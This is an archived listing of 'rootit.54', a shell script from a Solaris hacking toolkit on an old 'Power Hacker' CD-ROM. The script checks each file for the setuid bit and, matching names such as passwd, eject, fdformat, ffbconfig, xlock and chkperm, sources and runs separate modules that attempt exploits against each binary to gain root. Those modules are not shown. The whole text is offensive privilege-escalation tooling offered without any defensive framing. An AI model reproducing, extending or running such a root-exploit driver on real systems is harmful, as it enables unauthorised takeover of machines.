home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / solaris-toolkit / soltool / rootit.54 < prev    next >
Encoding:
Text File  |  2002-05-27  |  1.6 KB  |  51 lines

  1. function rootit {
  2.         if [ -s $i ]; then
  3.                 if test -u $i
  4.                 then
  5.                         echo " oOo $i seems exploitable."
  6.  
  7.                         if echo "$i" | grep passwd 1> /dev/null
  8.                         then
  9.                     echo " oOo Attempting passwd exploit..."
  10.                                 . dopasswd.54
  11.                 dopasswd
  12.                         fi
  13.  
  14.                         if echo "$i" | grep eject 1> /dev/null
  15.                         then
  16.                                 echo " oOo Attempting eject exploit..."
  17.                                 . doeject.54
  18.                 doeject
  19.                         fi
  20.  
  21.                         if echo "$i" | grep fdformat 1> /dev/null
  22.                         then
  23.                                 echo " oOo Attempting fdformat exploit..."
  24.                                 . doformat.54
  25.                 dofdformat
  26.                         fi
  27.  
  28.                         if echo "$i" | grep ffbconfig 1> /dev/null
  29.                         then
  30.                                 echo " oOo Attempting ffbconfig exploit..."
  31.                                 . doffb.54
  32.                 doffbconfig
  33.                         fi
  34.  
  35.                         if echo "$i" | grep xlock 1> /dev/null
  36.                         then
  37.                                 echo " oOo Attempting xlock exploit..."
  38.                                 . doxlock.54
  39.                 doxlock
  40.                         fi
  41.  
  42.                         if echo "$i" | grep chkperm 1> /dev/null
  43.                         then
  44.                                 echo " oOo Attempting chkperm exploit..."
  45.                                 . dochkp.mod
  46.                 dochkperm
  47.                         fi
  48.                 fi
  49.         fi
  50. }
  51.